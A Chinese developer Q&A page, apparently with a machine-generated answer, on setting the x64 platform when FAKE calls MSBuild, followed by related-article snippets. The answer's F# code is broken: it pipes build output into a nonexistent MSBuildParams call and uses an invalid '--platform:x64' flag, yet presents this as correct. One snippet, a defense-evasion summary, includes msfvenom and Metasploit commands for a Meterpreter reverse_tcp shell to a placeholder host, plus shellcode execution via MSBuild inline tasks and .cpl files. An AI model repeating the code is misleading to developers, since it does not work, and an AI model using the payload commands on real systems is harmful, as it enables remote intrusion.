首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

F# / FAKE -调用MSBuild时如何指定`--平台:x64`

F#是一种函数式编程语言,它是基于.NET平台的一部分,可以在.NET Framework和.NET Core上运行。它具有强大的类型推断和模式匹配功能,使得编写简洁、可维护的代码变得更加容易。

FAKE是F#的构建工具,它提供了一种简单而灵活的方式来定义和执行构建脚本。通过使用FAKE,开发人员可以自动化构建过程,包括编译、测试、打包和部署等。

当调用MSBuild时,可以使用FAKE来指定--平台:x64参数。在FAKE脚本中,可以使用MSBuild函数来调用MSBuild,并通过--properties参数传递额外的属性。要指定平台为x64,可以使用以下代码:

代码语言:txt
复制
open Fake

Target "Build" (fun _ ->
    !! "YourProject.sln"
        |> MSBuildRelease buildDir "Build"
        |> MSBuildParams "--platform:x64"
)

RunTargetOrDefault "Build"

在上面的代码中,MSBuildRelease函数用于指定构建目标和输出目录。通过在MSBuildParams中添加--platform:x64参数,可以将平台设置为x64。

对于F#和FAKE的更多信息,可以参考以下链接:

请注意,以上答案中没有提及任何特定的腾讯云产品或链接地址,因为问题并未要求提供与腾讯云相关的信息。如果需要了解腾讯云的相关产品和服务,请参考腾讯云官方网站。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

.NET 简介

在罗斯林和F#编程语言编译器。 该MSBuild的生成引擎。 在.NET运行库。提供类型系统、程序集加载、垃圾收集器、本地互操作和其他基本服务。 运行时库。提供原始数据类型和基本实用程序。...使用完对象后,调用对象的Dispose()方法,该方法负责释放任何非托管资源。.NET 语言提供了一个方便的using语句(C#、F#、VB)来确保Dispose方法被调用。...运行时标识符 (RID) 运行 .NET 应用程序的操作系统平台和 CPU 架构。例如:Windows x64、Linux x64。...包括 CLI、MSBuild、.NET 运行时和其他组件。 SDK风格的项目 一组 MSBuild 目标和任务,用于指定如何为特定应用类型构建项目。...NET 提供了多种调用这些 API 的方法。 与原生 API 互操作的主要方式是通过“平台调用”或简称 P/Invoke。跨 Linux 和 Windows 平台支持 P/Invoke。

1.9K20

dotnet publish

有关如何使用 NuGet 源的信息,请参阅 dotnet restore 文档。 MSBuild dotnet publish 命令调用 MSBuild,后者会调用 Publish 目标。...如果在设置 PublishProfile 属性指定路径和文件扩展名,则它们会被忽略。...建议在发布配置文件中而不是在命令行中指定 PublishReadyToRun。 PublishSingleFile 将应用打包到特定于平台的单个文件可执行文件中。...PROJECT 是 C#、F# 或 Visual Basic 项目文件的路径和文件名,或包含 C#、F# 或 Visual Basic 项目文件的目录的路径。 如果未指定目录,则默认为当前目录。...指定此标记等同于删除 project.assets.json 文件。 -?|-h|--help 打印出有关如何使用命令的说明。 --interactive 允许命令停止并等待用户输入或操作。

2.2K10

win10 uwp 使用 msbuild 命令行编译 UWP 程序

本文告诉大家如何使用 msbuild 命令行编译一个 UWP 程序 在有一些时候,如使用持续集成的时候就不能通过 VisualStudio 的方式编译 UWP 程序,需要使用命令行的方式编译。...尝试在本地从开始菜单打开开发命令提示符,或者从使用命令行调用本机的 VisualStudio 编译命令行 cmd> "C:\Program Files (x86)\Microsoft Visual Studio...可以编译 sln 或编译 csproj 项目,推荐是编译 sln 的方式 在命令行跳转盘符,如从原来的C盘到 D 盘可以通过 盘符: 的方式 cmd> D: 这样就可以跳转到 D 盘,在进入指定的文件夹...x64的程序,可以使用下面代码 cmd> msbuild /t:restore /p:Platform=x64 现在就可以进行编译了,通过下面的代码进行编译 cmd> msbuild /p:Platform...|arm" 如果是需要编译其他的解决方案,也就是当前的工作文件夹不在指定的项目文件夹,可以在 msbuild 后面添加解决方案的路径。

78820

win10 uwp 使用 msbuild 命令行编译 UWP 程序

本文告诉大家如何使用 msbuild 命令行编译一个 UWP 程序 在有一些时候,如使用持续集成的时候就不能通过 VisualStudio 的方式编译 UWP 程序,需要使用命令行的方式编译。...尝试在本地从开始菜单打开开发命令提示符,或者从使用命令行调用本机的 VisualStudio 编译命令行 cmd> "C:\Program Files (x86)\Microsoft Visual Studio...可以编译 sln 或编译 csproj 项目,推荐是编译 sln 的方式 在命令行跳转盘符,如从原来的C盘到 D 盘可以通过 盘符: 的方式 cmd> D: 这样就可以跳转到 D 盘,在进入指定的文件夹...x64的程序,可以使用下面代码 cmd> msbuild /t:restore /p:Platform=x64 现在就可以进行编译了,通过下面的代码进行编译 cmd> msbuild /p:Platform...|arm" 如果是需要编译其他的解决方案,也就是当前的工作文件夹不在指定的项目文件夹,可以在 msbuild 后面添加解决方案的路径。

1.2K20

windows命令执行防御规避总结

/reverse_tcp set LHOST xx.xx.xx.xx set LPORT 4444 exploit Msbuild.exe MSBuild是Microsoft Build Engine的缩写...,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件 https://github.com/3gstudent/msbuild-inline-task...msf生成shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444 -f csharp...xxxxxxx.hta 控制面板 攻击者可以使用控制面板项作为有效载荷来执行任意命令,控制面板项是注册的可执行文件(.exe)或控制面板(.cpl)文件,可以直接从命令行执行或通过Control_RunDLL(API)调用或者直接双击文件...windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:\users\administrator\desktop\CPIApplet.cpl 执行命令 通过msxsl.exe调用恶意

71920

.NET Core 2.1 Preview 2发布 - April 10, 2018

调用时都需要JIT编译大量代码。...- 卸载并重新安装工具,并对其进行有效更新 dotnet tool uninstall - 卸载一个工具 dotnet tool list - 列出当前安装的工具 --tool-path - 为每个调用指定一个特定的位置以...还有其他好处,例如: 消除了libcurl(用于Linux和MacOS)和WinHTTP(用于Windows)的平台依赖关系- 简化了开发,部署和服务。 跨平台平台/依赖版本的一致行为。...您可以通过aspnet / announcements#298了解有关此更改以及如何适应的更多信息。 我们还为.NET Core Docker镜像添加了一组环境变量,适用于2.0及更高版本。...我们将支持以下芯片架构: 在Windows上:x64和x86 在Linux上:x64和ARM32 在macOS上:x64 Azure应用服务和VSTS部署 ASP.NET Core 2.1预览不会自动部署到

81050

DotNet 资源大全中文版(Awesome最新版)

[$] Build Automation 构建自动化 Psake - .基于BNET的构建自动化工具,用PowerShell编写 FAKE - F#Make,跨平台构建自动化系统 Invoke-Build...MSBuild - Microsoft Build Engine(MSBuild)是.NET和Visual Studio的构建平台 Cake - Cake(C#Make)是具有C#DSL的跨平台构建自动化系统...R Provider - 键入提供者,以类型安全的方式向R#调用者公开R包和函数 F# Data - 用于访问XML,JSON,CSV和HTML文件(基于示例文档)和访问WorldBank数据的F#类提供程序...Shielded - .NET的软件事务内存(STM)实现 MSBuild ILMerge task - MSBuild ILMerge任务是一个NuGet包,允许您在自动构建和/或Visual Studio...基于.Net Core和Electron的跨平台桌面应用程序。 [免费] [专有] Netling - 负载测试客户端,方便网络测试。 使用少量CPU或内存,速度非常快。

16.2K82

Win10 Edge浏览器从越界写到任意内存读写

经过分析,该漏洞影响win10 x64平台的edge浏览器,攻击者经过精心构造的网页,可以在受害者机器上达到远程代码攻击的效果。...(x64平台的利用实在比x86的难太多:( ) 0×0漏洞分析 由于chakra脚本引擎已经开源,所以可以从github上得到此次漏洞修复的代码如下(in JavascriptArray.cpp\MapHelper...调用y类的constructor函数,也就是fake函数,用于创建newObj对象,也就是Array.prototype.map()函数即将返回的对象。...在JS中,即使fake是一个类,但实际上它是一个函数,包括其他类Array等也是一个函数,当调用new fake()的时候实际上是进入了class fake中的[Symbol.species]函数中,换句话说...但是在x64平台想要编译出比较好用的gadgets JIT code需要一点耐心去写webGL代码,而且在x64中参数是通过寄存器传递,这样对栈中的数据的控制难度就会加大。

1.4K70

【值得收藏】收集了.Net 不少资源

官网 ProjectScaffold:F# 基金会推荐的 .NET 解决方案的原型——包括文件系统的搭建、用于管理依赖的 Paket 以及用于自动化构建、测试的 FAKE。...官网 FAKEF# Make,一个跨平台自动构建系统。 官网 Invoke-Build:PowerShell 自动构建和测试工具,灵感来自 Psake。...官网 MSBuild:微软构建引擎(MSBuild)是 .NET 和 Visual Studio 的构建平台。 官网 Cake:Cake(C# Make)使用 C# DSL 的跨平台自动构建系统。...官网 numl:包含最流行的监督学习和无监督学习算法,尽量减少创建预测模型的冲突。 官网 R Provider:将 R 语言包和函数封装为类型安全的类型提供程序供 F# 调用。...官网 Suave.IO:一个框架/库/web 服务器,当你看到你使用优美的 F# 编写的代码提前完成了你的项目,它的存在会让你喜极而泣。

3.1K20

.Net开源框架

官网 ProjectScaffold:F# 基金会推荐的 .NET 解决方案的原型——包括文件系统的搭建、用于管理依赖的 Paket 以及用于自动化构建、测试的 FAKE。...官网 FAKEF# Make,一个跨平台自动构建系统。官网 Invoke-Build:PowerShell 自动构建和测试工具,灵感来自 Psake。...官网 MSBuild:微软构建引擎(MSBuild)是 .NET 和 Visual Studio 的构建平台。官网 Cake:Cake(C# Make)使用 C# DSL 的跨平台自动构建系统。...官网 numl:包含最流行的监督学习和无监督学习算法,尽量减少创建预测模型的冲突。官网 R Provider:将 R 语言包和函数封装为类型安全的类型提供程序供 F# 调用。...官网 Suave.IO:一个框架/库/web 服务器,当你看到你使用优美的 F# 编写的代码提前完成了你的项目,它的存在会让你喜极而泣。

6.8K30

dotnet 命令

所有命令都支持 --help 选项,用于打印有关如何使用命令的简短文档。 它运行 .NET 应用程序。 指定应用程序 .dll 文件的路径以运行应用程序。...x86 版本的 SDK 只列出 x86 运行时,而 x64 版本的 SDK 只列出 x64 运行时。 --list-sdks 打印出已安装的 .NET SDK 的列表。 -?...仅绑定到指定的版本。 建议不要将此策略用于一般用途,因为它会禁用前滚到最新补丁的功能。 该值仅建议用于测试。 除 Disable 外,所有设置都将使用可用的最高补丁版本。...dotnet msbuild 提供对 MSBuild 命令行的访问权限。 dotnet new 为给定的模板初始化 C# 或 F# 项目。 dotnet pack 创建代码的 NuGet 包。...全局、工具路径和本地工具命令 工具是控制台应用程序,它们从 NuGet 包中安装并从命令提示符处进行调用。 你可自行编写工具,也可安装由第三方编写的工具。

1.5K20

WPF 打包为 UWP 应用构建失败 MSB3270 不匹配 AMD64 架构

在使用 dotnet core 3.1 的 WPF 打包为 UWP 应用的时候,如果没有设置 PublishProfiles 那么将会在构建 x64 提示所生成项目的处理器架构“AMD64”与引用的处理器架构...check_suite_focus=true msbuild TranslationTool.sln /p:Platform=x64 /p:Configuration=Debug /p:UapAppxPackageBuildMode...PublishProfiles 文件,请看 dotnet-campus/TranslationTool@1650f7a 原因是在使用 .NET Core 3.1 的桌面应用需要修改使用独立发布,也需要指定不同的文件夹...命令行打包桌面应用为 UWP 应用请看 使用 msbuild 命令行编译 UWP 程序 如何使用 Github 的自动构建请看 Continuous integration and deployment...如何在 VS 打包请看 UWP 打包 win32 应用 添加防火墙例外 本文链接的是 Github Action 是在 Github 上自动构建的服务,可以用来持续集成,可以用来做 NuGet 包 dotnet

2.1K10
领券